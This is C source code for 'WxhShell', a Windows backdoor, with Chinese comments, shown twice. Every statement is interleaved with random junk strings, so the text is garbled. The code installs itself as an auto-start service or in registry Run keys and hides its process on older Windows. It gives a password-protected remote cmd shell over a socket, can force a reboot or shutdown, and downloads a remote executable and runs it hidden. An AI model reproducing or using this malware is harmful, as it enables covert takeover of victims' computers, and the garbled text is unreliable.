s _s6 *0ZL@Kw HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M/GQQG; if(NULL == hInst ) return 0; olPV"<;+pO nOxCni~T g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a' "4:(L g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )/FB73! NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +(/?$dRH Vx_lI
#3 if (!NtQueryInformationProcess) return 0; YH33E~f 0-~Y[X"9. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /3D!,V, if(!hProcess) return 0; #yZZ$XO k MCHRNhb9 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q0Fq7rWP ZN!OM)@:! CloseHandle(hProcess); ?vL\VI9 =G9%Hz5~: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @/}{Trmg/ if(hProcess==NULL) return 0; l!f/0Rx5 "&/:"~r HMODULE hMod; zHi+I7 char procName[255]; d=%:rLm$ unsigned long cbNeeded; ;=X6pK e:H7ht: if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CC1\0$ / eUvIO+av CloseHandle(hProcess); wH1E7LY|R / G$8 j$ if(strstr(procName,"services")) return 1; // 以服务启动 J<x?bIetj U,"lOG' return 0; // 注册表启动 i:`ur } $Z)Dvy| XQ.czj // 主模块 $Gb] K{e int StartWxhshell(LPSTR lpCmdLine) _+0l+a*D { |+Z,
7~! SOCKET wsl; l c)*HYqU BOOL val=TRUE; 6U;pYWht int port=0; X1U7$/t struct sockaddr_in door; =jdO2MgSg* ^,zE Nqg7 if(wscfg.ws_autoins) Install(); qq}EXq ^ }OO(uC2 port=atoi(lpCmdLine); vlCjh! x oXwoi! if(port<=0) port=wscfg.ws_port; KNU/Kc# vTN/ho,H WSADATA data; $|.x !sA if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7"F
w8;k .{D[!Dp#h if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; dDN#>| setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +7?p&-r)x door.sin_family = AF_INET; mfOr+ door.sin_addr.s_addr = inet_addr("127.0.0.1"); q[{q3-W door.sin_port = htons(port); /km^IH s~Wj h7' if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,>CFw-Nxu closesocket(wsl); B]dHMLzl return 1; 3/8o)9f. } DUf=\p6`f kvs^*X''Ep if(listen(wsl,2) == INVALID_SOCKET) { P<GY"W+rR closesocket(wsl); TF 6_4t6 return 1; Hno@ } N'R^S98x Wxhshell(wsl); ^7v}wpwX\ WSACleanup(); Z"#ysC tr"iluwGc return 0; XNwY\y iRo UM.% } 8r / ]Q xdp!'1n."g // 以NT服务方式启动 |RwpIe8~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p,}-8#K[ { 5%kt;ODS DWORD status = 0; zsA6(?)u DWORD specificError = 0xfffffff; %cG6=`vR 9 m&"x/k serviceStatus.dwServiceType = SERVICE_WIN32; ?cr;u~-= serviceStatus.dwCurrentState = SERVICE_START_PENDING; h4H~;Wl0 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d{&+xl^ll serviceStatus.dwWin32ExitCode = 0; PCnE-$QH serviceStatus.dwServiceSpecificExitCode = 0; K^t M$l\ serviceStatus.dwCheckPoint = 0; Py\xN serviceStatus.dwWaitHint = 0; *A2J[,?c gWA)V*}f hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +B^/ =3P if (hServiceStatusHandle==0) return; aB<~T[H%h B, nCx=\S status = GetLastError(); x3>K{ if (status!=NO_ERROR) CF9a~^+% { b!SGQv(^M serviceStatus.dwCurrentState = SERVICE_STOPPED; 6NJ"ty9Bp serviceStatus.dwCheckPoint = 0; JC`|GaUy serviceStatus.dwWaitHint = 0; :FwXoJc_+5 serviceStatus.dwWin32ExitCode = status; /Ik_U?$* serviceStatus.dwServiceSpecificExitCode = specificError; 6PT ,m SetServiceStatus(hServiceStatusHandle, &serviceStatus); )hK5_]"lmj return; G_zJuE$V } aKS
2p3 HZCEr6}( serviceStatus.dwCurrentState = SERVICE_RUNNING; L
q8}z-? serviceStatus.dwCheckPoint = 0; /%}+FMj serviceStatus.dwWaitHint = 0; 3B/ GcltfM if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QE}S5#_" } /,$;xt-J35 mk_cub@ // 处理NT服务事件,比如:启动、停止 7{f&L' VOID WINAPI NTServiceHandler(DWORD fdwControl) +o(t5O[G { R'qB-v. switch(fdwControl) ,e( |,u { G40,KCa case SERVICE_CONTROL_STOP: NUiZ!& serviceStatus.dwWin32ExitCode = 0; eS fT+UL serviceStatus.dwCurrentState = SERVICE_STOPPED; C$oY,A, serviceStatus.dwCheckPoint = 0; ZgF-.(GV serviceStatus.dwWaitHint = 0; _1hc^j { 9>u2;
'Ls SetServiceStatus(hServiceStatusHandle, &serviceStatus); -[i9a:eRM } SSycQ4[{o return; }
IFZ$Y case SERVICE_CONTROL_PAUSE: xy46].x- serviceStatus.dwCurrentState = SERVICE_PAUSED; >8Zz<S&z break; 67%eAS case SERVICE_CONTROL_CONTINUE: Mcc774'*9 serviceStatus.dwCurrentState = SERVICE_RUNNING; jVL<7@_* break; =$Sf]L case SERVICE_CONTROL_INTERROGATE: (f5!36mz break; J|_&3@r }; ^M6v;8EU SetServiceStatus(hServiceStatusHandle, &serviceStatus); im9 B=D }
/XS6X '?t]iRCeI7 // 标准应用程序主函数 LW?] ~| int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9_JK. { 'VFxg, ]Rohf WHX // 获取操作系统版本 o,9E~Q '`{ OsIsNt=GetOsVer();
dKDtj: GetModuleFileName(NULL,ExeFile,MAX_PATH); -liVYI2s EAxg>}'1j // 从命令行安装 1QtT*{zm$F if(strpbrk(lpCmdLine,"iI")) Install(); SPOg' ~!meO;|W // 下载执行文件 pA3j@w if(wscfg.ws_downexe) { &tw.]3 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r!V#@Md WinExec(wscfg.ws_filenam,SW_HIDE); VE4!=4 } kU_bLC?>D j+]>x]c0 if(!OsIsNt) { _o~<f)E[9 // 如果时win9x,隐藏进程并且设置为注册表启动 <8 Nh dCO6 HideProc(); WqqrfzlM StartWxhshell(lpCmdLine); OJ8W'"`L& } NSHWs%Zc else NLw#b?% if(StartFromService()) 'P32G?1C&p // 以服务方式启动 8U0y86q>)E StartServiceCtrlDispatcher(DispatchTable); iU9de else OgyETSN8C // 普通方式启动 R!W!8rr3 StartWxhshell(lpCmdLine); gSEj/? 0`"]mYH return 0; 6g8{;6x } jIK*psaV YKf,vHau T({:Y. A; C>$5<bx =========================================== 8NudY3cU! _ot4HmD "uN
JQ0Y LT!B]y qWKpnofa oc?,8I[P5 " Ge@./SGT d{hbgUSj #include <stdio.h> \v9IbU*js #include <string.h> ~-GgVi*I #include <windows.h> *PMvA1eN=# #include <winsock2.h> Mr<2I #include <winsvc.h> oaHg6PT! #include <urlmon.h> /tc*jXB dn$1OhN8M #pragma comment (lib, "Ws2_32.lib") `"H!=` #pragma comment (lib, "urlmon.lib") &zlwV"W UA>~xJp= #define MAX_USER 100 // 最大客户端连接数 6/hY[a! #define BUF_SOCK 200 // sock buffer $Eg|Qc-1 #define KEY_BUFF 255 // 输入 buffer @}!1Uk3ud {#:js #define REBOOT 0 // 重启 upQ:C>S #define SHUTDOWN 1 // 关机 PH9MB qC SJ=T; #define DEF_PORT 5000 // 监听端口 #R"9(Q& Op,Ce4A #define REG_LEN 16 // 注册表键长度 R/waWz\D #define SVC_LEN 80 // NT服务名长度 Id
*Gs>4U jx!)N> // 从dll定义API lInq= typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'BpK(PlUh typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -i V&-oP typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }el.qZ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e7t).s)b{ >1`FRw< // wxhshell配置信息 P1vr}J struct WSCFG { Vpt)?];P int ws_port; // 监听端口 R<Ojaj=V char ws_passstr[REG_LEN]; // 口令 H;k;%Zg; int ws_autoins; // 安装标记, 1=yes 0=no QN9$n%Z char ws_regname[REG_LEN]; // 注册表键名 <t,uj.9_ char ws_svcname[REG_LEN]; // 服务名 LS,/EGJ char ws_svcdisp[SVC_LEN]; // 服务显示名 bESmKe( char ws_svcdesc[SVC_LEN]; // 服务描述信息 ik+qx~+`Qv char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Cmm"K[>Rx int ws_downexe; // 下载执行标记, 1=yes 0=no i@6MO'y char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~cz]Rhq char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Dn) =V. &9$0v" `H }; Ox8dnPcx B~cq T/\? // default Wxhshell configuration p.n]y=o.) struct WSCFG wscfg={DEF_PORT, Vl{CD>$, "xuhuanlingzhe", /u<lh.
hPW 1, K7FuMB "Wxhshell", },2-\-1 "Wxhshell", DIB Az s "WxhShell Service", W8,XSUl "Wrsky Windows CmdShell Service", hmtRs]7 "Please Input Your Password: ", _U1~^ucV 1, W,`u5gbT "http://www.wrsky.com/wxhshell.exe", J#L-Slav% "Wxhshell.exe" o$'Fz[U }; >-r\]/^ KZ6}),p // 消息定义模块 q]0a8[]3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ';+; char *msg_ws_prompt="\n\r? for help\n\r#>"; nSz Fs(]f char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g(33h2" char *msg_ws_ext="\n\rExit."; ^TyusfOz char *msg_ws_end="\n\rQuit."; fPiq
char *msg_ws_boot="\n\rReboot..."; %/,PY>:| char *msg_ws_poff="\n\rShutdown..."; XLwbA4ORq char *msg_ws_down="\n\rSave to "; ];R5[%:5 s24-X1d(9 char *msg_ws_err="\n\rErr!"; GIWgfE? char *msg_ws_ok="\n\rOK!"; W:aAe%S yc+#LZ~(a char ExeFile[MAX_PATH]; VBF3N5
;W int nUser = 0; b\7-u- HANDLE handles[MAX_USER]; {0lY\#qcE int OsIsNt; :bE ^b P|v ;'9 SERVICE_STATUS serviceStatus; /SY40;k: SERVICE_STATUS_HANDLE hServiceStatusHandle; qDM/
6xO Wcz{": [ // 函数声明 oIt.Pc~;'# int Install(void); zG[fPD int Uninstall(void);
doBfpQ2 int DownloadFile(char *sURL, SOCKET wsh); S6 $S%$ int Boot(int flag); y+(<Is0w void HideProc(void); T$06DS int GetOsVer(void); H:`W\CP7_ int Wxhshell(SOCKET wsl); W([)b[-* void TalkWithClient(void *cs); Lbq"( b int CmdShell(SOCKET sock); fNFdZ[qOd int StartFromService(void); ,yWTkql int StartWxhshell(LPSTR lpCmdLine); ?6p6OB req=w;E: VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?f1%)]>
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H #E
6ApW+/ // 数据结构和表定义 bS&'oWy*B SERVICE_TABLE_ENTRY DispatchTable[] = N(dn"`8 { ""^9WLH4g- {wscfg.ws_svcname, NTServiceMain}, $&qB,>5=X {NULL, NULL} 1i_~ZzX8 }; N$/{f2iC A%"XN k // 自我安装 Eof1sTpA int Install(void) "]LNw=S { kNI m90,g char svExeFile[MAX_PATH]; 90k|W> HKEY key; MEI]N0L3 strcpy(svExeFile,ExeFile); .Ap[C? mV c?}C{ // 如果是win9x系统,修改注册表设为自启动 37ll8 if(!OsIsNt) { LOX[h$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7FqmT
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (
]AErz+ RegCloseKey(key); T?) U| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~r]ZD) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )3.udx RegCloseKey(key); 6O"Vy return 0; +DF<o
U~ } -v&Q'a } +=$\7z> s } .#zx[Io else { 1|;WaO1Q 6"|PJ_@P // 如果是NT以上系统,安装为系统服务 |E53
[:p SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6aM`qz) if (schSCManager!=0) lDe9EJR { 2N5N^S SC_HANDLE schService = CreateService D?}LKs[ ( ;p BXAl schSCManager, XC?H wscfg.ws_svcname, jS5e"LMIq wscfg.ws_svcdisp, J%aW^+O SERVICE_ALL_ACCESS, '&?47+W SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c[sC 2 SERVICE_AUTO_START, b[uTt'p} SERVICE_ERROR_NORMAL, ZB`!@/3X svExeFile, vW"x)~B NULL, }C/}8< NULL, plsf` a NULL, l2gI2Cioa NULL, L^RyJ;^c NULL x)BG%{h ); IB}.J,= if (schService!=0) iFF/[P { ~SV;"e2N. CloseServiceHandle(schService);
*X*D,
VY CloseServiceHandle(schSCManager); +P~zn= strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O~">-'f strcat(svExeFile,wscfg.ws_svcname); klT6?'S if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PgB=<#9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5G(y RegCloseKey(key); MG8-1M return 0; ^[&*B#( } @`%.\_ } #@2 `^1 CloseServiceHandle(schSCManager); }=?r`J+Ev; } AW+4Vm_!l } ClaYy58v twf;{lZ( return 1; @*is]d+Ya } 8Ral%I:gr QdUl-( // 自我卸载 M[<O]p6 int Uninstall(void) t^8#~o!% { RZOk.~[v HKEY key; J-Sf9^G '!yyg# if(!OsIsNt) { g|)e3q{M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (niZN_qv RegDeleteValue(key,wscfg.ws_regname); 9^igzRn0 RegCloseKey(key); nqgfAQsE) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u+(e,t RegDeleteValue(key,wscfg.ws_regname); 3i>$g3G RegCloseKey(key); ],H%u2GE_ return 0; J#Bz)WmR } $N,9e } YlPZa3\ } ?Z1pPd@ else { f,t[`0 va tSYeZ~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wKk if (schSCManager!=0) .IF dJ { A
javV SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5:iril if (schService!=0) )I1LBvfQ { Y]Su<tgX? if(DeleteService(schService)!=0) { p7.@ez ; CloseServiceHandle(schService); Q>TaaGc CloseServiceHandle(schSCManager); <@F4{* return 0; OX8jCW } Q{>9Dg CloseServiceHandle(schService); o }Tv^>L } ~{2@-qcm CloseServiceHandle(schSCManager); /%)MlG } XKks j!'B } *aG0p&n} EnwiE return 1; 8Yb/ c* } ~\ie/}zYj ^,U&v; // 从指定url下载文件 %}'sFum` int DownloadFile(char *sURL, SOCKET wsh) F4bF&% R { <=A&y5o HRESULT hr; _QXo4z!a8 char seps[]= "/"; eRVu/TY char *token; pKr3(5~ char *file; JXPn
<
char myURL[MAX_PATH]; @o;m!CYB char myFILE[MAX_PATH]; ZJR{c 5TE Xk7zXah strcpy(myURL,sURL); zoUW}O token=strtok(myURL,seps); u6(7#n02 while(token!=NULL) r9b`3yr= { K''b)v X4 file=token; azE>uEsE
token=strtok(NULL,seps); &<tji8Dj } zQ)[re) {K[+nX=# GetCurrentDirectory(MAX_PATH,myFILE); 8d Ftp3( strcat(myFILE, "\\"); *qz]vUb/0 strcat(myFILE, file); Ln`c DZSM send(wsh,myFILE,strlen(myFILE),0); ^.-P]I] send(wsh,"...",3,0); rWbL_1Eq hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?I7H ): if(hr==S_OK) d%]7: return 0; 3F X`dZ else N>]u;HjH return 1; q!O~* V!ajD!00 } WZFV8' fl)Oto7
// 系统电源模块 \>YXPMIk int Boot(int flag) ke&c<3m { "QiUuD= HANDLE hToken; J+.t\R TOKEN_PRIVILEGES tkp; hp>me*vzr a,}{f] if(OsIsNt) { r@ejU'uz OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uQ8]j .0 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :+-s7'!4 tkp.PrivilegeCount = 1; mtTJm4 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _a.Q@A4' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *qpmI9m if(flag==REBOOT) { $1?YVA7 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 751\K`L return 0; N0.-#Qa } `
$zi?A:j else { j?.VJ^Ff/u if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c*ytUI* return 0; >6rPDzW`Dx } HX<5i>]0\u } nk-?$'i9q else { ?np`RA if(flag==REBOOT) { 7J 0!vq if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TF{
xFb) return 0; =(hEr=f>7 } X7n~Ws&s@ else { B*?v`6 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ueqR@i return 0; JFZZ-t;* } e@I?ESZ5 } Y$,]~Qzq QTP1u return 1; <X;y
4lPZ } RS$:]hxd>_ hVR=g!e#X // win9x进程隐藏模块 Ad`;O+/; void HideProc(void) 3UH=wmG0w { 'X[3y^q \wnQ[UNjP HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p\!+j@H: if ( hKernel != NULL ) + 1v@L { UQhfR}( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Hi|Oeu ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U` bvv'38# FreeLibrary(hKernel); .m+KXlP } YE0s5bB6 ggbew6L$Z return; 2I#fwsb } mNuv>GAb mD0pqK // 获取操作系统版本 KU$.m3A> int GetOsVer(void) 8-+IcyUza { -5E%f|U OSVERSIONINFO winfo; &&>OhH` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w"aD"}3 GetVersionEx(&winfo); 3RGVH, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Nf3Kz#!B return 1; cG^'Qm else 0iHK1Pt} return 0; Ai/ay# E } P'FI'2cN7 M%6{A+( // 客户端句柄模块 u2BVQ<SA int Wxhshell(SOCKET wsl) B8C"i%8V) { C>j"Ck^< SOCKET wsh; X,gXgx P\ struct sockaddr_in client; j@ =n|cq DWORD myID; 3+(Fq5I RdvJA:;q while(nUser<MAX_USER) {mI95g& { E8)C_[QJ` int nSize=sizeof(client); s>_n e0 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FIW*Nr if(wsh==INVALID_SOCKET) return 1; kgYa0 e5 YSeXCJ:Iy handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8)M .W if(handles[nUser]==0) ^i@t OtS closesocket(wsh); C}W/9_I6Uo else B Q".$(c
q nUser++; s8 3_Bd } m]&d TZV WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >JnEhVRQJ9 {?#g*QF|^ return 0; .F> cZ, } fr:RiOPn Yuh t<:` // 关闭 socket t7R; RF void CloseIt(SOCKET wsh) P\w.:.2 { jJg
'Y:K9q closesocket(wsh); HnU}Lhjzj nUser--; |-2,k#| ExitThread(0); l|\Q~ D!o } ^<ayPV)+ kOJs;k // 客户端请求句柄 [UFLL:_sC void TalkWithClient(void *cs) fMhMB |W. { @hg1&pfxZ< Elm/T]6 SOCKET wsh=(SOCKET)cs; O cm char pwd[SVC_LEN]; 1Te:&d char cmd[KEY_BUFF]; X0p=jBye~> char chr[1]; <.RgMPi int i,j; r;}kw(ukC 0* ,r while (nUser < MAX_USER) { z<s]Z pbju;h)O!| if(wscfg.ws_passstr) { J/ <[irC if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E!jM&\Z j //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?][Mv`ST //ZeroMemory(pwd,KEY_BUFF); =>/aM7] i=0; p Sc<3OI while(i<SVC_LEN) { [4sbOl5yZ !.x(lOqf // 设置超时 %mh
K1, fd_set FdRead; zFwp$K>{QY struct timeval TimeOut; IO|">a6 FD_ZERO(&FdRead); 4,TS1H FD_SET(wsh,&FdRead); /GfC/)1_ TimeOut.tv_sec=8; K)F;^)KDHf TimeOut.tv_usec=0; [;#}BlbN int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _s<eqCBV if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |=,V,*" v0\2%PC if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 36.L1!d)pE pwd=chr[0]; =U3!D;XP if(chr[0]==0xd || chr[0]==0xa) { k`kmmb> pwd=0; "-(yZigQ break; c7P"1 } (g4.bbEm i++; D.U)R7( } ZuILDevMD 9LzQp`In // 如果是非法用户,关闭 socket F8>Fp" if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c,4UnEoCR } EC&w9:R uiM*!ge send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |cUlXg= send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I.1zD aP vlOMB while(1) { (&+
~hW5d gmy_ZVU' ZeroMemory(cmd,KEY_BUFF); 'mG[#M/Y )\'U$ // 自动支持客户端 telnet标准 [ gx<7}[ j=0; >*{\N^:z while(j<KEY_BUFF) { fg+Q7'*Vq if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z!7#"wO9+V cmd[j]=chr[0]; 8H3|^J if(chr[0]==0xa || chr[0]==0xd) { mgh,)=2cE( cmd[j]=0; :!'aP\uE break; 4LJUO5(y@ } |oC&;A j++; jZ7#xRt5w } C] \r~f IWsB$T // 下载文件 >jRz4% if(strstr(cmd,"http://")) { mEr*n send(wsh,msg_ws_down,strlen(msg_ws_down),0); pZ%/;sxYa if(DownloadFile(cmd,wsh)) 95[yGO>ZYz send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~'=s?\I else ko$bCG% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9bq#&~+ } 4(|x@:wxm else { |:L<Ko _:?)2 NV switch(cmd[0]) { ]aXCi"fMs 8'@pX< // 帮助 W2qW`Ujo{ case '?': { j'#W)dp( send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9)3ok#pQ/ break; ;WO/xA-# } Vq -!1.v3 // 安装 rwv_
RN case 'i': { 2.Th29] if(Install()) tB8XnO_c send(wsh,msg_ws_err,strlen(msg_ws_err),0); a>(LFpVk} else |9{l8`9}_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W5<1@ break; (Lo<3a-] } IM7k\ // 卸载 0bzD-K4WVd case 'r': { -r_z,h| if(Uninstall()) $._p !, < send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;.'2ZNt2 else v%VCFJ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VSc;}LH break; B=JeZMn } #3f\,4K5 // 显示 wxhshell 所在路径 \\Fl,' case 'p': { r8pTtf#Q char svExeFile[MAX_PATH]; ?9i
7w1` strcpy(svExeFile,"\n\r"); qXn%c" strcat(svExeFile,ExeFile); M%/ML=eLi send(wsh,svExeFile,strlen(svExeFile),0); /<\>j+SC break; v1 d] } K%Vl:2#F // 重启 ICTl{|i ] case 'b': { ]<WKi= send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZUVk~X3
if(Boot(REBOOT)) L*6Tz'Qp send(wsh,msg_ws_err,strlen(msg_ws_err),0); W+ Z]
Y else { Z6
E-FuO closesocket(wsh); dUk^DI,:l ExitThread(0); UW8b(b[-6b } 9mIq9rQ|* break; w3a`G| } w[qWr@
// 关机 hvnZ
2x.?d case 'd': { .\7R/cP}{A send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,/BBG\mJ if(Boot(SHUTDOWN)) lCr send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;HlVU else { =q.2S;? closesocket(wsh); B-
N ExitThread(0); AA:Ch? } Z f4Xt
Yn break; "i<i.6| } ~Yv"= // 获取shell WFocA: case 's': { <VS\z(K CmdShell(wsh); U{"&Jj closesocket(wsh); QHUoAa`6v ExitThread(0); vZ\~+qV,A break; D"oyl`q } Y? =+A4v // 退出 8sOM%y9M case 'x': { 79AOvh send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P
1X8 CloseIt(wsh); `r
&IA break; />S=Y"a/7 } DB-4S-2 // 离开 we9R4*j case 'q': { w^sM,c5d send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~9#\+[ d_ closesocket(wsh); X!2/cgU7 WSACleanup(); H,9e<x#own exit(1); ;,}tXz break; $&M"Ji } A_6b 4T } IKb 7#Ut } c!AGKc gmB?L0UV // 提示信息 %,g6:Zc@ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~Aq;g$IJZ } NYz{[LM } e*;-vS9H 7_)'Re# return; :(VD<"X } 5 5>^H1M @[D-2s // shell模块句柄 eVL'Ao&Ho int CmdShell(SOCKET sock) M]oO1GM { `So*\#\T STARTUPINFO si; JeU|e$I4> ZeroMemory(&si,sizeof(si)); dWwh?{n si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^CX=< si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ABvB1[s# PROCESS_INFORMATION ProcessInfo; |Tuk9d4] char cmdline[]="cmd"; a938l^@;s8 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rIR~YMv! return 0; @jAuSBy } @x3x/gU J)D/w[w // 自身启动模式 >_XRh int StartFromService(void) B v/]>Z { );$_|]# typedef struct N'w;1,c+ { RR>Q$K DWORD ExitStatus; 8*V^DM3n- DWORD PebBaseAddress; 02q]^3 DWORD AffinityMask; fFudoIC DWORD BasePriority; y((I2g1rv ULONG UniqueProcessId; Rm`_0}5 ULONG InheritedFromUniqueProcessId; N|Mzj|i. } PROCESS_BASIC_INFORMATION; 6cQh8_/>{# @2cGx/1# PROCNTQSIP NtQueryInformationProcess; w0(A7L:L `j{5$X static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9IZ}}x static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UmZ#Cm ig3HPlC HANDLE hProcess; Vi[* a PROCESS_BASIC_INFORMATION pbi; EH<rUv63 eSHyA+F HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _"%mLH=!8 if(NULL == hInst ) return 0; TC;2K,.#k ,rx?Ig}kz g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9#L0Q%,* g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9E~=/Q= NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #u`i4 (9$z+Zmm? if (!NtQueryInformationProcess) return 0; MX2Zm //S/pCqED hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =Bu>}$BD if(!hProcess) return 0; BWV)>
